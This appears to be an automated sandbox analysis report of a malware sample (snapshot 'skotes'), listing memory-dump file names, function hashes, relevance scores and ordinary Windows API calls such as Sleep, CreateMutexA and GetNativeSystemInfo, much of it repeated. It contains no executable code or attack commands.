Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: d34033ad39e9c279a39b5545ec31f098f8cc1d1e21cdc8642b9d54531cfa104c
Instruction ID: 4b4186a69f6de28278e3bf6fd816f97a2e660f79b52f0135a71e2f74b91bc84c
Opcode Fuzzy Hash: d34033ad39e9c279a39b5545ec31f098f8cc1d1e21cdc8642b9d54531cfa104c
Instruction Fuzzy Hash: B5310B31B013059BEB18DB7CDD89BADBB72EBC6310F248218E418977D5D77589818B72

Function 00D08380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D08524

Strings

?]&$, xrefs: 00D083AB

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: ?]&$
API String ID: 1721193555-313912829
Opcode ID: 15038520afff8cd76e3e3334b92530f8a600c92a18a282580ab368de653a0925
Instruction ID: 237b5d05d353b9ce193d2df449e05ed830a19f8b062f74dafd445b6ee7818b1a
Opcode Fuzzy Hash: 15038520afff8cd76e3e3334b92530f8a600c92a18a282580ab368de653a0925
Instruction Fuzzy Hash: 4D512870D002589BDB24EB68DD497DEBB75EB46314F5042A8E84DA72C1DF349EC48BB1

Function 00D37124 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00D3705B,?,?,00000000,00000000), ref: 00D37166

Strings

?]&$, xrefs: 00D3712C

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID: ?]&$
API String ID: 2574697306-313912829
Opcode ID: 8a9372c00293b60f04b17daf644193c4f4df9d831689629900a400435fe35110
Instruction ID: 62688b014d6ca116fe6e6b2e12d3fbf296656cfb957905248da4703f8020a688
Opcode Fuzzy Hash: 8a9372c00293b60f04b17daf644193c4f4df9d831689629900a400435fe35110
Instruction Fuzzy Hash: 42112EB390460DABDB10DED4C985EDFB7BCAF09310F146262E515E2180EA30EA45CBB1

Function 00D3B04B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,24265D3F,?,?]&$,00D1D3FC,?]&$,?,00D17A8B,?,?,?,?,?,?,00D07465,?), ref: 00D3B07E

Strings

?]&$, xrefs: 00D3B04D

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: ?]&$
API String ID: 1279760036-313912829
Opcode ID: 655ab069a708c7a79035e6d0b1efa303a74b39f8035c34fa90afd4ff80fa1cb9
Instruction ID: b14e267742836a8a223256fc625fd320834ad4e0bb770082159b76fe533b4495
Opcode Fuzzy Hash: 655ab069a708c7a79035e6d0b1efa303a74b39f8035c34fa90afd4ff80fa1cb9
Instruction Fuzzy Hash: 65E0923514172696EB3932759D42B6FB648DF833B0F191212FFA4E6190EB60DC0081F0

Function 00D36E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c064d9c6a61ed7de0b09f36aff12c491f13787216d49954c08a3c596b39e3fb5
Instruction ID: cb75d71639e97747fd4e13de93135dad2f8f158486708611544c0c1f0f0fb27e
Opcode Fuzzy Hash: c064d9c6a61ed7de0b09f36aff12c491f13787216d49954c08a3c596b39e3fb5
Instruction Fuzzy Hash: E321C572905108BBEB21AB68EC46BAF3729DF42374F248315F9643B1D1EBB0DE059671

Function 00D0A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00D0A963
CreateMutexA.KERNEL32(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
